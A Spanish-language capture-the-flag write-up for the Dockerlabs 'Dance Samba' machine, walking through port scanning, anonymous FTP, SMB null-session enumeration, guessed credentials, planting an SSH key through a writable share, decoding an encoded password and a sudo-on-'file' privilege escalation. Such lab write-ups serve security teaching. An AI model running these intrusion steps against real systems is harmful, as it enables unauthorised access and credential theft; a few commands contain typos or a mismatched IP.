Dance Samba - Dockerlabs

WRITE UP
IP VÍCITMA-> 172.17.0.2 (TTL 64) LINUX
RECONOCIMIENTO
Lo primero que vamos hacer es crear nuestro entorno de trabajo: dancesmb
Dentro usaremos la herramienta de s4vitar mkt cual nos generara las carpetas necesarias para tener todo más organizado; Nmap…
Al ser dockerlabs, vamos a descargarnos el .zip y ejecutar el contenedor:
sudo bash auto_deploy.sh dance-samba.tar

Para empezar el reconocimiento, enviamos una traza ICMP a la IP de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:
-Usar el script whichSystem que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.
whichSystem.py 172.17.0.2

-Usar el comando ping:
ping 172.17.0.2 -c1 -R
# -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición, nos muestra el proceso.*

Después de confirmar que tenemos conectividad, usaremos nmap para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 172.17.0.2 -oG allPorts
# Veremos porque el formato grapeable, es importante.

Una vez hecho, usaremos otra herramienta de s4vitar extractports al archivo allPorts cual nos copiara los puertos, y escanearlos con nmap.
extractports.sh allPorts

nmap -sVC -p21,22,139,445 172.17.0.2 -oN targeted
# El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor
# Nos mostrará la versión de los servicios que están corriendo
# Usará scripts defaults definidos en lua

Una vez escaneado, usaremos batcat:
https://github.com/sharkdp/bat.git
batcat targeted -l java
# Nos mostrara la salida en un formato más bonito, con java

ANÁLISIS FTP: RECONOCIMIENTO
En el escaneo de nmap gracias al uso de los scripts que usa, nos detectó un login en anoymous, por ende no necesita contraseña.
Vemos que tiene una nota.

locate .nse | grep -i "ftp"
En dicha ruta guarda los scripts, programados en LUA

Podríamos usar searchsploit para que nos busque alguna vulnerabilidad para la versión v3.0.5 de este servicio pero no nos va a encontrar nada.
searchsploit vsftpd 3.0.5

ACCESO FTP: ANONYMOUS
Antes de entrar, vamos a crear un fichero vacío para ver si tenemos privilegios de subida de archivos.
touch prueba.txt

# Nos logueamos sin contraseña en ftp como anonymous.
ftp 10.10.10.5
-> anonymous
# Nos descargamos la nota.
get nota.txt

Probamos la subida de archivos pero nos faltan permisos.
put prueba.txt

ANÁLISIS SSH: RECONOCIMIENTO
Con searchsploit comprobamos si existen vulnerabilidades de esta versión pero no nos encontrara nada.
searchsploit openssh 9.6p1

LECTURA DE ARCHIVO DESCARGADO
Leemos la nota que nos hemos descargado en busca información relevante. Dos usuarios potenciales: Macarena y donald.
cat nota.txt

ENUMERACIÓN: SMB
De primeras probaremos con null sesión para entrar a rpcclient y tener una posible enumeración de usuarios, grupos y información de usuarios.
rpcclient -U "" -N 172.17.0.2

Enumeramos los usuarios y nos listara Macarena con el rid: 0x3e8
enumdomusers

Haremos una consulta al rid del usuario para entre otras cosas, ver si guarda alguna información en su descripción. (nada)
queryuser 0x3e8

ANÁLISIS: SMB
Con searchsploit buscaremos si la versión v4 de smb tiene alguna vulnerabilidad, aparentemente no.
searchsploit samba 4

LISTAR SHARES
Listaremos los shares con netexec para ver cual tenemos permisos de lectura e incluso escritura con distintos usuarios, probaremos con null sesión primero.
Lo cual nos deja listarlos pero no nos dice nada de que podamos acceder o parecido. Aunque vemos un share macarena, ya nos dice que seguramente sea el home de dicho usuario.
netexec smb 172.17.0.2 -u "" -p "" --shares

Usaremos smbmap y por alguna casualidad probaremos las siguientes credenciales haber si nos deja listarlos y así mismo permisos de lectura o escritura.
smbmap -H 172.17.0.2 -u "macarena" -p "donald"
Nos deja listarlos e nos dice que podemos escribir y leer el share macarena. Esto nos da a entender de que el usuario del principio y con el que cual hemos listado los shares es válido dentro del dominio y ya sabemos su contraseña.

Lo comprobamos con netexec logueandonos y nos lo válida.
netexec smb 172.17.0.2 -u "macarena" -p "donald"

ACCESO A SHARE Y BANDERA USER
Accederemos al recurso compartido con smbclient:
smbclient -U "macarena" \\\\172.17.0.2\\macarena
-> donald
Dentro del share que es el home de este usuario, cual como podemos escribir podemos subir archivos, crear carpetas… y asi mismo ver los archivos ocultos. Nos bajamos la flag de user.
get user.txt

Leemos la bandera usuario que nos hemos bajado.

GENERACIÓN DE LLAVES Y ACCESO A SSH
Si intentamos entrar a ssh del usuario macarena nos dira que su identificación ha cambiado.
ssh macarena@172.17.0.2

Para solucionar esto entraremos a su share y crearemos el directorio /.ssh/.
mkdir /.ssh/

Después en nuestra máquina eliminaremos el Host de confianza (conocido) que es la víctima en known_hosts:
ssh-keygen -f '/home/pablo/.ssh/known_hosts' -R '172.17.0.2'

Ahora crearemos unas claves:
ssh-keygen -t rsa -b 4096
1) -t rsa (Este tipo es porque es compatible y cifrado)
2) -b 4096 (Usaremos este tamaño en bits debido a que es el más usado en servidores)

clave privada -> yes
clave pública -> yes.pub
PASAR LLAVES A SHARE Y USARLA
Dentro del share > /.ssh/ llevaremos la clave pública y la llamaremos authorized_keys.
put yes.pub authorized_keys

Ahora nos queda usar en nuestra máquina nuestra clave privada y no nos pedirá contraseña.
ssh macarena@172.17.0.2< -i yes

CRACKEAR HASH
Si investigamos en el /home listando los demás usuarios veremos 2 nuevos:
- ftp (De donde descargamos la nota del principio)
- secret (Contiene un hash, cual tenemos que descifrar)

MMZVM522LBFHUWSXJYYWG3KW05MVQTT2MQZDS6K2IE6T2==
Usaremos la siguiente página para descifrarlo: CyberChef
Dentro pondremos primero de Base32 y que lo pase por último por un Base64. La salida: supersecurepassword

Si lo hacemos por consola sería asi:
1) Lo pasamos por base32
echo "MMZVM522LBFHUWSXJYYWG3KW05MVQTT2MQZDS6K2IE6T2==" | base32 -d
2) Lo pasamos por base64
echo "c3VwZXJzZWN1cmVwYXNzd29yZA==" | base64 -d

Obteniendo la contraseña supersecurepassword, finalmente.
ESCALADA DE PRIVILEGIOS
Listaremos nuestros permisos de sudo a ver si podemos aprovecharnos de alguno que nos permita escalar privilegios.
sudo -l
-> supersecurepassword
Tendremos el permiso sudo sobre el binario /usr/bin/file cual podemos deducir que podremos leer archivos arbitrarios cual requieren ciertos permisos de root.

Si nos vamos a la siguiente ruta /opt veremos un fichero “password.txt”. Cual no tendremos permisos ya que solo lo puede leer el usuario root.
# Ir a al directorio /opt
cd /opt
# Intar leer el fichero .txt
cat password.txt

Nos iremos al siguiente repositorio online, donde buscaremos el binario file y veremos como podemos leer archivos arbitrarios a nivel sistema:
https://gtfobins.github.io/gtfobins/file/#sudo

Con la siguiente sintaxis, leeremos dicho archivo arbitrario:
sudo /usr/bin/file -f /opt/password.txt

Nos dará las credenciales privilegiadas -> root:rooteable2
Ahora ya seremos usuario con permisos privilegiados.
id para confirmar.

BANDERA ROOT
Para coger la bandera root nos vamos a su directorio /root.
